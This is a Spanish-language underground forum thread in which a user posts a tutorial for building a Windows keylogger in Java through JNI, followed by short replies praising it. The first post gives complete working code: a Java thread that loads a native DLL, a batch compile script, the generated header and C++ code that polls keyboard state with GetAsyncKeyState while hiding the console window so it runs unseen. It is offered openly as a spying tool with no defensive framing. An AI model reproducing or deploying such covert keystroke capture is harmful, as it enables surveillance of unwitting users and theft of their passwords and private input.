Comunidad Underground Hispana  
Visita: Descargas - Foro de juegos - Articulos - Juegos Gratis - Download Free

Retroceder   Comunidad Underground Hispana > Programacion > Programación > Java

Respuesta Crear Nuevo Tema
 
Share LinkBack Herramientas Desplegado
Antiguo 11-ene-2010, 17:54   #1
Junior Member
 
Fecha de Ingreso: enero-2010
Mensajes: 19
Predeterminado tuto de keylog en java (JNI)

aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++(wxdevcpp_7.1_full_setup.exe)
comenzamos primero que nada necesitas los archivos

-jni_md.h -jni.h
Los cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include"

---------------------------------------------------------
Paso 1: Creacion del .Java
---------------------------------------------------------
Importante: No tiene que estar en ningun Package
Código:
public class Keylogger extends Thread { //Usaremos un Hilo
	public static final int DELAY = 20;           
	private boolean    activated=true;
	private char       value; 
	static {
 
		System.loadLibrary("Keylogger");      //Preparamos la Carga de la DLL 
	}
	private native char get(); //Metodo Nativo  @Return Tecla precionada
	  @Override
	public synchronized void run(){
		while(activated){
			try {
			value = get();          //Optenemos la Tecla Precionada
			System.out.println(value); //La Mostramos en la Salida Estandar
			Thread.sleep(DELAY);
			} catch (InterruptedException e) {e.printStackTrace();
			}
		}
	}
}
-----------------------------------------------------------------------------------------
Paso 2: Creacion del Script para la complilacion JNI (Opcional)
----------------------------------------------------------------------------------------
#Name = CompilerJNI.bat

Código:
  @echo off
title Java
set/p j= .java : 
echo.
call javac %j%.java
call javah -jni %j%
 
pause
echo.
exit
------------------------------------------------------------------------------
Paso 3: Generando el . Class y la Cabecera .h (JNI)
----------------------------------------------------------------------------
Ejecutamos el CompilerJNI y le pasamos el Archivo .java (Keylogger.java) sin la extension


------------------------------------------------------------------------------
Paso 4: Generando la DLL
------------------------------------------------------------------------------

Abrimos el DEV++
[File--->New---->Project--->DLL]


Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h en este caso
Código:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class Keylogger */
 
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/*
 * Class:   Keylogger
 * Method:  get
 * Signature: ()C
 */
JNIEXPORT jchar JNICALL Java_Keylogger_get
 (JNIEnv *, jobject);
 
#ifdef __cplusplus
}
#endif
#endif
Importante: Copiar la siguiente sentencia del archivo .h esta puede variar
Código:
JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){}
he inluirla el el archivo Keylogger.cpp quedando de la siguiente manera
Código:
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h> //Jni.h
#include "Keylogger.h" //Incluimos la Cabecera Keylogger.h
 
JNIEXPORT jchar JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 
using namespace std;
 
bool c = true;
HWND ocultar = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(ocultar,NULL);
 
while(c){
if (GetAsyncKeyState(VK_SPACE) == -32767){return ' ';}
if (GetAsyncKeyState('A') == -32767){ return 'A';}
if (GetAsyncKeyState('B') == -32767){return 'B';}
if (GetAsyncKeyState('C') == -32767){return 'C';}
if (GetAsyncKeyState('D') == -32767){return 'D';}
if (GetAsyncKeyState('E') == -32767){return 'E';}
if (GetAsyncKeyState('F') == -32767){return 'F';}
if (GetAsyncKeyState('G') == -32767){return 'G';}
if (GetAsyncKeyState('H') == -32767){return 'H';}
if (GetAsyncKeyState('I') == -32767){return 'I';}
if (GetAsyncKeyState('J') == -32767){return 'J';}
if (GetAsyncKeyState('K') == -32767){return 'K';}
if (GetAsyncKeyState('L') == -32767){return 'L';}
if (GetAsyncKeyState('M') == -32767){return 'M';}
if (GetAsyncKeyState('N') == -32767){return 'N';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '¿';}
if (GetAsyncKeyState(VK_BACK) == -32767){return '_';}
if (GetAsyncKeyState('O') == -32767){return 'O';}
if (GetAsyncKeyState('P') == -32767){return 'P';
}if (GetAsyncKeyState('Q') == -32767){return 'Q';}
if (GetAsyncKeyState('R') == -32767){return 'R';}
if (GetAsyncKeyState('S') == -32767){return 'S';}
if (GetAsyncKeyState('T') == -32767){return 'T';}
if (GetAsyncKeyState('U') == -32767){return 'U';}
if (GetAsyncKeyState('V') == -32767){return 'V';}
if (GetAsyncKeyState('W') == -32767){return 'W';}
if (GetAsyncKeyState('X') == -32767){return 'X';}
if (GetAsyncKeyState('Y') == -32767){return 'Y';}
if (GetAsyncKeyState('Z') == -32767){return 'Z';}
if (GetAsyncKeyState(VK_CAPITAL) == -32767){return '€';}
if (GetAsyncKeyState(VK_RETURN) == -32767){return '?';}
if (GetAsyncKeyState('1') == -32767){return '1';}
if (GetAsyncKeyState('2') == -32767){return '2';}
if (GetAsyncKeyState('3') == -32767){return '3';}
if (GetAsyncKeyState('4') == -32767){return '4';}
if (GetAsyncKeyState('5') == -32767){return '5';}
if (GetAsyncKeyState('6') == -32767){return '6';}
if (GetAsyncKeyState('7') == -32767){return '7';}
if (GetAsyncKeyState('8') == -32767){return '8';}
if (GetAsyncKeyState('9') == -32767){return '9';}
if (GetAsyncKeyState('0') == -32767){return '0';}
if (GetAsyncKeyState(VK_LSHIFT) == -32767){return '*';}
if (GetAsyncKeyState(VK_MENU) == -32767){return 'ç';}
if (GetAsyncKeyState('%') == -32767){     return '%';}
if (GetAsyncKeyState('-') == -32767){      
return '-';}
if (GetAsyncKeyState(VK_F8) == -32767){ShowWindow(ocultar,1); 
c = false;
break;
   }
   Sleep(30);
  }
}
Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para genarar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

coloboracion con :LEYER
Fuente: proyect991.net

Última edición por Fashion; 31-ene-2010 a las 12:36
KING_NEWBIE está desconectado   Responder Citando
Antiguo 11-ene-2010, 18:02   #2
Cuban4Ever
 
Fecha de Ingreso: agosto-2009
Mensajes: 2.658
Predeterminado Re: tuto de keylog en java (JNI)

Quien lo hizo ?

Està interesante
__________________
[Solo usuarios registrados pueden ver los links. ]

Fant4sma17 está desconectado   Responder Citando
Antiguo 11-ene-2010, 18:30   #3
Junior Member
 
Fecha de Ingreso: enero-2010
Mensajes: 19
Predeterminado Re: tuto de keylog en java (JNI)

Cita:
Iniciado por Fant4sma17 - WarezVzla
Quien lo hizo ?

Està interesante
LEYER,PTCRUSIERXXX,PUTUS Y YO
KING_NEWBIE está desconectado   Responder Citando
Antiguo 11-ene-2010, 18:33   #4
Cuban4Ever
 
Fecha de Ingreso: agosto-2009
Mensajes: 2.658
Predeterminado Re: tuto de keylog en java (JNI)

Felicidades *palmas

Ahora mismo me lo miro ..
__________________
[Solo usuarios registrados pueden ver los links. ]

Fant4sma17 está desconectado   Responder Citando
Antiguo 27-ene-2010, 13:11   #5
Member
 
Avatar de unicode98
 
Fecha de Ingreso: noviembre-2009
Mensajes: 84
Predeterminado

Funciona en linux o en windows ^_^
unicode98 está desconectado   Responder Citando
Respuesta

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks están Activado
Pingbacks están Activado
Refbacks están Activado



La franja horaria es GMT -5. Ahora son las 03:31.



Juegos gratis Underground Mexico Veo Descargas Songs Traducidas Videos De Musica Conservacion Tabs Metal
Noticias
 Juegos De Coche juegos gratis online juegos Utilidades Trucos
Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.3.2
Traducción por vBHispano.com